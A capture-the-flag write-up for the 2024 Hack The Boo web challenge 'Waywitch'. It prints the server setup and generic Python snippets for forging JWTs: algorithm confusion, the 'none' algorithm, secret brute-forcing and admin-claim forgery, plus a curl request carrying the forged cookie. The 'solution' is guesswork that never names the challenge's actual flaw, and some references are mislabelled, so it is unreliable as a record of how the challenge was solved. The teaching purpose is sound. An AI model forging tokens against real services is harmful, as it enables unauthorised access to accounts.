2024 Hack The Boo: Waywitch
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2024 Hack The Boo |
| Category | Web |
| Challenge | Waywitch |
Summary
The Waywitch challenge is a web security challenge involving JWT (JSON Web Token) authentication manipulation. The application uses JWT for session management, but contains vulnerabilities that allow attackers to forge or manipulate tokens to gain unauthorized access to protected resources.
Analysis
Application Overview
Frontend: HTTPS-based web application with:
- User authentication system
- Cookie-based session management
- Static assets served over HTTPS
Backend: Node.js/Express server featuring:
- Database integration (SQLite)
- JWT token generation and validation
- Protected routes requiring authentication
- WebSocket communication
Key Architecture Components
Server Setup (src/index.js):
const express = require("express");const https = require("https");const fs = require("fs");const app = express();const cookieParser = require("cookie-parser");const bodyParser = require("body-parser");const nunjucks = require("nunjucks");const routes = require("./routes");const Database = require("./database");
const db = new Database("party.db");
const privateKey = fs.readFileSync("/tmp/server.key", "utf8");const certificate = fs.readFileSync("/tmp/server.cert", "utf8");const credentials = { key: privateKey, cert: certificate };
app.use(bodyParser.urlencoded({ extended: false }));app.use(express.json());app.use(cookieParser());
nunjucks.configure("views", { autoescape: true, express: app,});
app.set("views", "./views");app.use("/static", express.static("./static"));
app.use(routes(db));
(async () => { await db.connect(); await db.migrate();
https.createServer(credentials, app).listen(1337, "0.0.0.0", () => { console.log("HTTPS Server listening on port 1337"); });})();Vulnerability Analysis
The application likely has JWT vulnerabilities in:
- Token Generation: Weak secret or improper algorithm selection
- Token Validation: Missing or incomplete validation checks
- Token Parsing: Improper handling of JWT claims
- Cookie Storage: Insecure token handling in cookies
Solution
Step 1: Identify JWT Implementation
Examine the authentication flow to find where JWTs are created and validated:
- Check
/routes/index.jsfor authentication endpoints - Look for JWT library usage (jsonwebtoken, similar)
- Identify the secret key or algorithm used
Step 2: Analyze Token Structure
Decode a valid JWT to understand the token structure:
import jwtimport json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."# Note: Don't verify for now, just decodedecoded = jwt.decode(token, options={"verify_signature": False})print(json.dumps(decoded, indent=2))Step 3: Exploit JWT Vulnerability
Common JWT vulnerabilities to test:
Algorithm Confusion:
# Change algorithm from HS256 to RS256 with public keyimport jwt
payload = {"user_id": 1, "username": "admin"}# If the server uses RS256 verification but accepts HS256 with the public keyforged_token = jwt.encode(payload, public_key, algorithm="HS256")None Algorithm:
# Set algorithm to "none"forged_token = jwt.encode(payload, "", algorithm="none")Weak Secret:
# Attempt to brute force the secretsecrets = ["secret", "password", "123456"]for secret in secrets: try: decoded = jwt.decode(token, secret, algorithms=["HS256"]) print(f"Found secret: {secret}") except: passStep 4: Manipulate Token Claims
Once you understand how to forge tokens, manipulate claims to escalate privileges:
import jwt
# Create forged admin tokenpayload = { "user_id": 999, "username": "admin", "role": "administrator", "iat": time.time()}
forged_token = jwt.encode(payload, secret_or_key, algorithm="HS256")Step 5: Use Forged Token
Send the forged token in requests:
curl -H "Cookie: token=<forged_token>" https://localhost:1337/adminStep 6: Extract Flag
Access protected resources using the forged admin token to retrieve the flag.
Key Takeaways
- JWT Security: JWT tokens must be properly validated with strong secrets and appropriate algorithms
- Algorithm Confusion: Servers must strictly enforce expected algorithms and reject mismatches
- None Algorithm: The “none” algorithm should never be allowed in production
- Secret Strength: JWT secrets must be cryptographically strong and protected
- Token Expiration: Always check token expiration times
- HTTPS Essential: JWTs should only be transmitted over HTTPS to prevent interception
- Input Validation: Validate all token claims before trusting them
Tools Used
- PyJWT: Python library for JWT encoding/decoding
- curl: For making HTTP requests with custom headers
- Burp Suite: For intercepting and modifying cookies and headers
- Browser DevTools: For inspecting cookies and network traffic
References
- JWT Best Practices: https://tools.ietf.org/html/rfc7519
- OWASP JWT Vulnerabilities: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
- JWT Cracker: https://github.com/brendan-rius/c-jwt-cracker